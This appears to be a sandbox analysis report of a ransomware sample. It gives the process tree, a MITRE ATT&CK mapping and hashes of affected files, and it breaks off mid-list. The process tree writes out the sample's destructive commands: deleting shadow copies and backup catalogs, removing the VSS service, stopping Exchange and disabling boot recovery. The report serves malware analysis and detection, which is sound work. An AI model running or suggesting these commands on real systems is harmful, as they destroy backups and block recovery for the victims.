  "net.exe" stop MSExchange /y
  2⤵
  PID:1796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange /y
    3⤵
    PID:3424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSExchange$ /y
  2⤵
  PID:796
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange$ /y
    3⤵
    PID:3360
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  PID:568
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:3260
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:3468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  PID:3936
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4080
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3652
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:1340
- C:\Users\Admin\AppData\Local\Temp\lsm.exe
  "C:\Users\Admin\AppData\Local\Temp\lsm.exe"
  2⤵
  - Executes dropped EXE
  PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
    3⤵
    PID:3236
- C:\Users\Admin\AppData\Local\Temp\dllhost.exe
  "C:\Users\Admin\AppData\Local\Temp\dllhost.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2716
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3228
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:2748
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3040
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3640
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:2000

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1629471268-298666291156205894-836265849-1239267182-4297587596469777092032222951"
1⤵
PID:2652

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1266756125-1499651595101613793-57966815-1039100429765498419-58122838-1608708399"
1⤵
PID:2980

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-319682917-1155764324568356505-1775001238-5401831651656532424618457741-1120129120"
1⤵
PID:2136

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2013005544-58520405231902973-1481023108-1073164312086721849767164188-1451060504"
1⤵
PID:2676

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1750357271-21373205061096923649-10959388275834681182607897991631391741-98100090"
1⤵
PID:2900

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1270907495-1065919807542640419-1903218813-764782415177969664511855423382083023610"
1⤵
PID:1860

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-198534176-1975229067-6375497104427800-776393208-2050665440-641921169930489882"
1⤵
PID:2220

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1522194052-1153938336727741854-111245713721349254611752138141-174582860-1628831047"
1⤵
PID:1004

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "29297435611172672655071546481702377245458600302-413778800-872581871128959341"
1⤵
PID:1956

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1811509390-11833204991672974159-21404401892817524241472506683-619486953-1602575463"
1⤵
PID:2372

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-822740949-13252256171504703149-2089494189-1048442778-538582271-146853659-533321841"
1⤵
PID:480

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1440504067-6788349246964271021353148743146540555817060938-659886095-373177465"
1⤵
PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\Office64WW.xml

Filesize
4KB

MD5
4342cef46787a2da4cb9b4e4b08298a4

SHA1
9ef47580dc055164b2ad250b44f23f9029707ce2

SHA256
7ebf1d68330c473175aa501b2d78a66f5421636dcc4da72735cabdd36456f29f

SHA512
c468e124b9a2a764873f3ad68f03bfbd62c47631b11fc208e82f610e3267890f2283dc1519204509139f019fb8a70014850d19d85fb1fe51fbe9d105f6299641

Download Submit
C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\ProPlusWW.xml

Filesize
16KB

MD5
5a91ca47b05d245b679390c7c29bccd5

SHA1
adc7176e4b78d3e730cddf42d20e4ade81d07a6e

SHA256
24a612c010bdd5c36490658a228f1f6709635bdace4fb4543df0f1c50acffc4e

SHA512
78d4d7d69a6f1ecf197d2569da82edad3f7099ffc270fb6f20e5d4ed7a4e9939cd79dcb2a59158b1916a3a45d27325d760f5572c911ba83e28d478452d74ec6a

Download Submit
C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\Setup.xml

Filesize
30KB

MD5
43bfb9dae0c9fd2b5cff7efd0bebee20

SHA1
814cd23654031a9155da54da5c810c36e4e755b6

SHA256
6bc947a92ef786fcaab15bea58b1d3ef161a54111e2e39095dc1831b8bcbc292

SHA512
50b897bd46f01427f58a979c2f112fed58661816f841f45b5ab3c1739bfa8b8101f49017318c8dd4d6a836889d5abbcd17f671d8e77573e7cf11ba68e9920b16

Download Submit
C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms

Filesize
699KB

MD5
b6116a80e59cbd5c89fbcbc87d063bcb

SHA1
c038d185d428ce5568cb48683cc1a916a881cdd3

SHA256
24d39a9221a38bb0e8e014a68d48bc920c1fbfc964d4532f9f4dfcab5ee6cae4

SHA512
0a83c54f0deee140df5f4e56bd0566b92d3e2fa70d8ce9f09a624200b61d6924d4893ff16c960c052f9b695733292c039c4589c285675b2009fb10ed86689c15

Download Submit
C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\ExcelMUI.xml

Filesize
1KB

MD5
608e761f461d0ab83b31dd6649ca205a

SHA1
2940695762cff5f172cd0ea95506852ac4a71e3b

SHA256
dc692a783544cb28c23b6600134d4bda8efb3b5cbcf3eece2ca405de0b9680eb

SHA512
12b4529651741b9019137f343233b1f79b376f32d675b99d747486a75f7bb262179c23919c780e4f8a7a2f5aae758bf56f0005eb0c1a5c34d7b76f4be2f14049

Download Submit
C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
e8069122adb42ad58de3a6c1ef7ca980

SHA1
5b315b0da7c31e89ad6811d3ce05080978c3b8d3

SHA256
14ee40e4a31366a51236408c4869c68325ae7ecefe60084e61a7437518ef29ad

SHA512
29aa3f7adb9cb055ce23ab0f88ac2cceaa0920bc127371423be1f51a3b5e0ab4dad5fa9dcdcd5df698b95e430e3170b50afce7d8b258a8f963b68bdcbe9b69ce

Download Submit
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\PowerPointMUI.xml

Filesize
1KB

MD5
64248f3a7cd0aec271a73380da11c518

SHA1
03137013e6ca4ae25e577a49621f8471e6dc83b6

SHA256
0591c2cd138eaed8f4a0136cea730d65001ced7a58db36d49606b11dcbfc0b7b

SHA512
3569d415c67f14e6ae0c19a4f5e200adc5795e59db5e8fd0a96aa3ea1b0fe1ae7a35f29e0bab1c72de195c629afbc2c0577a2bf63a9536410a1a7d3919f6b317

Download Submit
C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
1KB

MD5
ee5ae68bc191d1269997b8325eccf453

SHA1
96d4e47a861dc13bbde6164055eeff84e5a32c70

SHA256
d9eb29e199996623b89e144df13a22c6717a5c2f15a8f61e5f406c4fddaf0f44

SHA512
12dd9597a34e5ec88e17b3edce25f563cff49e7a3bd725ce0bbc3dcd559909bb4a29a65282adb742d5824fd7a385685ab67dde6f4e224791aba5f48756013d3c

Download Submit
C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\PublisherMUI.xml

Filesize
1KB

MD5
93a071b0f381bd83332670d7d025ff12

SHA1
1e6b710b5fd612b57307fc75af9fd5909a17d160

SHA256
43b08c05f84a378c316d3c736f9dda037d0f9ae803e3d0e23b49426762a698c0

SHA512
d50913deb0716dd9e546ac140102aa5583b01d5ea4339e9dc51db2c64d80d72195a9fbfaaf2b89e5bc6f49f93f85a262a609f12a398d2a245a338c7dbe0b64b3

Download Submit
C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
1KB

MD5
5cb0c257d7cb70edc44d260886666eaf

SHA1
1e375280972b970484c541feeaf8e249e313f4f9

SHA256
37812283e3080deb865ee2434290faa8c2e128f6be44d235782370f5eb17b740

SHA512
25ac48adab5bf959536837aa568de8c46c287c6f8574dfa8638bf6f4c52938a25b0d60a16cb814b10985d52430576ef320e8d40d38bd5f847cf7348e29e924ce

Download Submit
C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\OutlookMUI.xml

Filesize
3KB

MD5
9572533fbbfe016b9ac22bff6e60778f

SHA1
d28819e8607a774b87a43c897a833f8da461bf90

SHA256
7e86bb6d1798e1f6b6a19948f963b939fa8fcf7359c8861238a1e04c55168f96

SHA512
cb333b8d57c3ee900266f312a8edf0fe8df97f417c691c7fbb13077b65ec8c76f36611ce8ab381ba776760ee6d1296c86d406162ed275fcbee75055ced958807

Download Submit
C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
4KB

MD5
055d1746d0fa16d4c3b1ed08b88e2103

SHA1
ac77756bb50aab25d5896c9727d3026e356aafad

SHA256
f8fb234523d1a6282b7908720846b51ede3bd30f7bc9d8f4859da756c8ee2648

SHA512
7dc5b07e41da922e5ecf2b4a14077e041e036bb40b28c712be295af297b50b5bd6217938590f41bf70b6a7683f292025c987ee9758ccb6f9c9ac756935297238

Download Submit
C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
a4f92b11138038bc3f5bda87054088ba

SHA1
98ac8960bb1d2cd8ae126927a33c8b8c137ebd2b

SHA256
1ad3d1b8374783536b0140927b385df96f1d3f9386c36c0626ed52f355f54a6a

SHA512
214bda67e67efca1ae59f87603b2f2396e08416595047c925012a4f64e27cd6fd1b86eed1eaed6ecbd7141f8c59849f6aed606b37d60a86c80db98bc169f43a9

Download Submit
C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml

Filesize
1KB

MD5
0c4ffcbf1bee681962458c6ab720c7bc

SHA1
0d795b43f76c927e201f9905a59945305c18aa57

SHA256
3b43c4f4bede3a749eeab1a966c11612593007719202e6a757c54be86ca176a2

SHA512
b0c7025e048b6695226646302cd2a2e4dba807065eaf1d178471f797ca553c9d206e2da03f48dc769b02824ec379980ef63c7edc159e1748d8b10fd2701de4ff

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\Proof.xml

Filesize
1KB

MD5
98d62be227fe319ffb1869bf772c1aa2

SHA1
3b3522354e559cb9aeb2e485818d93142c3c45b3

SHA256
6b8a38f69b5919bc1338b1f85bdc2914e3ba8ee2753d7feac05f7dc4a2d3945d

SHA512
3b2527730bd9404fdab01ad3455a99fb969fe4f53aa84fda49d04a45172e48ca36a01425f40a3ff9954f847bae2916ac8163a156d1d7f3a0c745f717d4d45fc0

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\Proof.xml

Filesize
1KB

MD5
e97d873988369a732c16386642023edb

SHA1
716f52386eaf62b07b1fd6c8e98d28792742ebcc

SHA256
4b855ba8b412a95455a38dbb9ce789651f1d3a57363e6f69eea5c91bc08ea9b2

SHA512
9d280ff8bed742beb05d7adcc06d33559dd237809d649392acc204712e3c071d2893c2f22b2ba1570ac6341e9b0b035b32a776bc637efdf41397b37c4130fead

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\Proof.xml

Filesize
1KB

MD5
c13b3e51e027e59e6fd794cf5991a4ef

SHA1
e7b6a9685a36b9d516e014a0ec8bd0724d392b0c

SHA256
c57ec98f6b70ee85a03173ce92b65f7ee40850bf002ee90b01da92563e1155ab

SHA512
c5839b89683bd849ee871b40762b8cebf071cb4ee676175980803727d9ce011008c5d4f4f042cead00c663a57eb9f0df6857073bd33079293fdb9fdfbe9ea305

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proofing.xml

Filesize
904B

MD5
fcaeed8c5b8fe29b1f68fca1e590906e

SHA1
0886055de5a8027ef2589dc1ba1321110ec15a7e

SHA256
3d5fbffc164386111c52e6f5404799a49e6dcea9ad8f9bcc1a75952c3eb541d0

SHA512
92044dd48676a28e68398d62499d4d0f489d5ee99fba0064389d046e3b09c969e97ff93423d1d5c606b0b607ee3882532e08757c1869d1530f08c8624c1c2dfe

Download Submit
C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
5KB

MD5
c3dce168238a95d9b535cc684b4214da

SHA1
029a4ccd53052136c01815e387b52a3d6475247f

SHA256
526f2072c7baa18cfa02f120cfb566cefeaac6661bc2209c63a2a62c3c328f15

SHA512
5462bbafa4a0139ae72cb6df79062206f1aec83ac287b66621c38550f5d7526278dccf346981a1f7dc9b3ae99b8608edc55ec4cfc20a46ea448889bf14203f4d

Download Submit
C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\InfoPathMUI.xml

Filesize
1KB

MD5
ba637437b1a8feff11409f44415497ea

SHA1
4a87886450d83d418cdc3c076986527190e9ee54

SHA256
88f6d31860e837dc3d167f41c035bc3386583a3187b1373ea9fe49b296125ba3

SHA512
0eae3b2aea05e42b0878a49deca796dbceca9629582f46cf9ef7b9e305f030315fdea05a18a10890aa54b678a1496a62a18b4d8ca0175a28a82f5af37c21b499

Download Submit
C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
1KB

MD5
d2710ff1f5edecb3efeb77661f82cd4c

SHA1
44b78f54cea51b0fd2e2c66c92d13e0441d92688

SHA256
1eff933801d7e309991e3e14e861cbfbf2743a06bebc79f4bb23aeef9f528dc0

SHA512
6cee00c2a620f35f4793068f8c732e78e84a435936ec6fc2dcae668adccb91fe1be48ec1045fd66e1ddb95f4fab9e7ad2ca5642cf4fd54826aa24460005e26df

Download Submit
C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml

Filesize
1KB

MD5
ff1b8751dd2afe5400ab1b8a5a34475d

SHA1
05a40a49857dd74d62372b7a1d4c2e28762ec905

SHA256
f26ea640fa7aa7648c826477ec574638f059fa1512048836120f3f41b9fa710c

SHA512
7c842efda3708a48a974d077a5d6699c68f578523df4fcbbb71b395efa3f841dcd18719242891ace4ddc0e2d6944894dec66c8a5c15f001ff55ad97697be101a

Download Submit
C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
a840b725b6f1b8910d59b16a57b89ea5

SHA1
604dd429b265f62cb32cce51bfb4cf4cf3665c3f

SHA256
86d42694109f2326584717529edd0ac6e2246e8ccefc4303a76f38071e13bff5

SHA512
07546ba477e25719c76f05f4471b6be2b6ba13d61cfb9748e0d72a43d7505cf4a9033a7902b649b9ef006863688dc77facc3f47e3d7fd0dd1f9530a0ea246cac

Download Submit
C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\GrooveMUI.xml

Filesize
1016B

MD5
36339ecafa3f9eec25d4f63a2c41c70a

SHA1
ba17f761994c960c14b2091fdab6622c2e653cd7

SHA256
de7b90ffdc2e9e316e2077397e0d396f32ea55d757a5881fd4f7f89c95ddccf9

SHA512
bd32edd512420d6c8a537b8b99f752a3ba92b754984c4200fe01224a5b881240ef5b3e65288440533ead6f243b8df0c5c4cf5cd0fb3218fa26af98c7e9124bb7

Download Submit
C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
1KB

MD5
40180cbcdbd7de1083ededa83d9cbb18

SHA1
6ac9c32672a5ee16475ec909ddb8236a7c8f2025

SHA256
94b382c460ea5a6db0fef4bfc63838778a7994e3b8d8fb95614e657ba9a9cd1e

SHA512
1a383410fce5072389f75548869a5764ed8b8c8521eee0360cb9df7f1541f8623efc828f9859076c7ddd506a84df31a167e7a23df880910b36612a1db163d9fb

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\Microsoft.VC90.CRT.manifest

Filesize
1KB

MD5
474727f4a8d1f4846c8b938ea44c3575

SHA1
59fdb6c0ae95d7118af14a3b1909c00254a93414

SHA256
af87420f310ed16d34210e5e0e7ee2156ded1fdf6014f5b71e4d7260cdb07ab9

SHA512
4bdf9d9381f7f712cbbd00f1cc180d9a9994a55b8ad05282827c60c91fbeb2f0f194385d90da00ff0edae922a374a0587855bdfc90558979d19cd34f908f2799

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUI.xml

Filesize
5KB

MD5
4c8b5e58eaded02b028bda2939960662

SHA1
7670527ae21f6ad06bc1cc6235876069e6c63820

SHA256
d6a19f64a26ad5df42f4c725a35f8f59c67550e512a881efc2bd2355eed8f811

SHA512
8546a86b48c1de311af1bdbff19d47acde89ce6774e9db1b79084854ebdc72dae34a42a0c52a7f40ecf4b5f267d2c2658296ca68e8536b968ef4f36e1f8edc07

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\OfficeMUISet.xml

Filesize
936B

MD5
793c67e12c118ddd9d5f3b3a097ccd88

SHA1
3d6532edc01c9bdb5eee74453e82345b1cbe2adb

SHA256
bbdc1d4d429eaf76017062a9f98f121327419a844c94a40dc2bffe8812078e49

SHA512
a363167caf368a05a2dc76f55745bcf2ebaafc6b1ae083e024685f113fd92afe695939d1fd6f776cdbfbc0501ac34be07421de3e24c29f85fd156558e2c6b5e7

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
9KB

MD5
b4a84b58ab855262fc5160a2d793a6f4

SHA1
7ad2c221efdf488acb0a391c27d581732005ea31

SHA256
8969eeb92570541f22e0a1a6e68e8d6eb9b7f5c7cce970ff6f328e3def6def10

SHA512
f202e37b21f8e87ed3111a3b74eb546e2bd906f835f97abb7afbf720ea781b5574bf5a8279f93fbfd5fbdf6efe5e876a22e885a3f26fe150c93aa38de1701259

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\ShellUI.MST

Filesize
3KB

MD5
28ad06594cdc375a84be4bf21c222de6

SHA1
503595326e27535264b1a585f470f8562bed91ef

SHA256
85ee1e6055a906ada11027089bc871a04b35315c525ea23dbd29229d4788234b

SHA512
6e87ecc18c7b7c1a192a90f667f43713167ea3bc265af48ec873a175b17098f298c368c564d5925c508e1a1da592ae6afe49281c2bde0c4a3dbaac5225eb94fe

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\branding.xml

Filesize
582KB

MD5
9de43368a4eb160fdf353a93782f0f68

SHA1
58ed0e326dea02be93584af21187953d7052ff43

SHA256
409f6b1eb27d0d99dcc37dd06c0d9f698fa48ebd98f9dc34acc17c18fd836959

SHA512
a5f4630369ed9f2ec1fece57f4c07fa5075e6ddb942f2c66d8737239a60f00e91c05f00555a2c71ffd19a5a7d6186864a84ea3bda27a58111c7ea3d9ee917835

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\pss10r.chm

Filesize
26KB

MD5
c6dfc86e13ba350d3f127af1da8aa68c

SHA1
10403c73242410bc7116e670ef681d129f852904

SHA256
9693b207650c350e9a3c71708272a4db4717440ca0778d087ff97e9e4ad0262b

SHA512
5abacd5719cfc31b90573a5d8d4b9d390ef40458431c9421357ce820ebb37e1f3be2c0b7255c28a14ec6a924b2df64ea3dc7733efcee294c4d2c450ee8596349

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\setup.chm

Filesize
65KB

MD5
8ee4c4cc4ad165b485640694e91c892f

SHA1
86b7201677ee0f29d00ef48b2e4649fd060e6ffe

SHA256
c8b7b5f8450b8602bc0ef7cc9736790613cc43f0ba28d5af4ad626bcc210e58b

SHA512
d7dcf17dc08d4c42fcb1ca2d4522ef9136eb7af0e946a43cd0819c421c0eb49d960ecd10da5a4b697a0ab187c9f9cd063b359eb7589be7e0e95eb30f808e34ef

Download Submit
C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\Office64MUI.xml

Filesize
1KB

MD5
0657bc26e1e022625ee0ebc55502b8e8

SHA1
034bce7b7bb7fcdff7dcd971a1453e5e7697f7e6

SHA256
95d7d71712cee9f105d2312fe24419b45e39f0f75a26ee7a19219b707150dcc4

SHA512
7dd701adfe608677d14fd99c7ae54942d7d86ca84aa363037e361d5e7558e2fbf680902398441fb7a647dfba734a5bfca543155e64e1abe515661bdbd77b77b3

Download Submit
C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\Office64MUISet.xml

Filesize
936B

MD5
be1a342f5a5e89b69db254fa6f29650c

SHA1
9cd8c05f2c3b624a0679224b5da7d799184e2fb4

SHA256
68accb5ea24c9450de23a96f47c50f8fd8f3b08801bf33847733e50091ff80fe

SHA512
b5a32163c6991f2e759c37d1a1da9993e48c2474fb42ad60ffe9fa235da681aee236cdf25a2d192167aa423ce6024e30d4a356cb19210426533aa8dfef2a356e

Download Submit
C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
c0928ba59ea17d52b36c2bbd7cf70e0d

SHA1
bfae28dd672b8da48a4a2556e82e238bd683c9f5

SHA256
5e3cebb0c60b27138d782ef1b67597433093cec66d30df34addbb5bf79e47fc7

SHA512
e103d6f4924086a9d8027d27ccd572ec2f498aff35994eb3968421a93fca3e2cacd6561ce8854708e432150e899965c522abc39e02c7813dccb0e7b13f233e63

Download Submit
C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\AccessMUI.xml

Filesize
1KB

MD5
294b82cb54325d1fe9b5f17a544dd523

SHA1
0ecba7dd438ad68975bc3397cf36bb250dc15764

SHA256
208912c440591fdcc6cab4dfb27e2d079ffc09c5750cd13517f6c51ac4eb8356

SHA512
caf20210ad02690f3324e924ac8460d9969199eb8466221afbec32672316d550b089d1a7db4bd4c1d28e591f49f94429b9651fe9b7351ca5adf4fb02a4c49001

Download Submit
C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\AccessMUISet.xml

Filesize
936B

MD5
0fb929af53d7b6dcbd1db43c5314d5d6

SHA1
3a2a146720bfcc11f295d81731f2ee577aab951b

SHA256
870ca69825734973748b61d3b32accb7c685c43087cfc29140f64b1ca734255b

SHA512
e3240a185a9f4de44414681ad88f2edceff3ef12425e5fb15a43ba0570283757e027855c6f273bb2087306f5451c9ed5aecf5f0ec1f968e5597e4044b48593ba

Download Submit
C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Setup.xml

Filesize
2KB

MD5
c50763064beeb6824f81656278c3ba8f

SHA1
7ebe208ef3e89cab12d8e8d683cc26374d615737

SHA256
ca600b590cfeea7d6502bf040c04f03ec6aafd019222bdcba37222521b1c9f79

SHA512
4ff373ab3363a4a20e01500116cd58ff352c0ce0b74cf07f1812472e1d567e7fe930e53758a6cf5e8c70bdfdb0db2f1f478c220e7aad72a165e5f2d40d879272

Download Submit
C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\boot.sdi

Filesize
3.0MB

MD5
a90a989aac5a2758ded0f0871a94ff8e

SHA1
f38072d454d8b894cb8396ce0ddcdeeed748fdaf

SHA256
26d39d5f178e3bda4de3897b6910a3b69631446f99eb5761a85b1d74ea52381d

SHA512
3bdbec5fdaa7609e695013c851361096aa56f49495423705c7573a4c0d1107faae29220979a8434bec679519059757ec98463bfbd7128f82be14c2119b576898

Download Submit
C:\Users\Admin\AppData\Local\Temp\dllhost.exe

Filesize
51KB

MD5
e18b25fc6ffd250c700d1794e114d149

SHA1
313f87e5bff0b2871fc8d02bf0d4264f44da4ba9

SHA256
efaec6eec913bf80eeb3348e3ee2b9608f546300ff4d1fc5fb9b2d8af2f9eac1

SHA512
d14ba3175f6d473f04e2412261791385cbfab4c54440e47564f6aa6a9d33c39b868b042d46f7f2c1161ec99b62b0364f266cd4ad2c12459fa806011faa5eebb8

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.bat

Filesize
181B

MD5
225edee1d46e0a80610db26b275d72fb

SHA1
ce206abf11aaf19278b72f5021cc64b1b427b7e8

SHA256
e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559

SHA512
4f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.txt

Filesize
3B

MD5
a5ea0ad9260b1550a14cc58d2c39b03d

SHA1
f0aedf295071ed34ab8c6a7692223d22b6a19841

SHA256
f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

SHA512
7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

Download Submit
C:\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Filesize
89KB

MD5
37d55dba7a6114449a2453a5e5357c04

SHA1
34ea79d82409c679e8a5c32f5c469844dd2488d7

SHA256
52003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f

SHA512
d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e

Download Submit
C:\Users\Admin\Contacts\Admin.contact

Filesize
66KB

MD5
c3b5aa3519f4e042c05a7624688b115a

SHA1
49b1226ec62efdc082f8711dc890c8eb938fb429

SHA256
3baa7341670fdde3499899292ae39ba93fa3db895ad50df614173f739c2106f9

SHA512
2c42371b073e0b2eb074bb9c22023a73840381c9007e9f2b476f6b45193847ba5197905347afa6c1422d83fcfda39f7d225882799d6b4e27972fba0243b6d667

Download Submit
C:\Users\Admin\Desktop\AddLimit.docx

Filesize
22KB

MD5
4a01453c26b5319925fad36cd9f18ce3

SHA1
6fff6cf386dcbe603edd30876d66ca8604482bd6

SHA256
7b491eb132419a7c8ebbca9975ec4e77595845a50dc08ad0c866e01c855e1878

SHA512
2fe862ba9db4fa6c0cf7907d7b49c72169418fc9637c4f1ca068518dd47342b5107351c13442da9e6c9449255e9f357efd324577737aa1bd30b8a27f874293b7

Download Submit
C:\Users\Admin\Desktop\BackupGroup.jpg

Filesize
261KB

MD5
42614a2e1761edff59e8c05c0e7eda52

SHA1
a93f657728438a157be2947eca96a43cee8ec2e9

SHA256
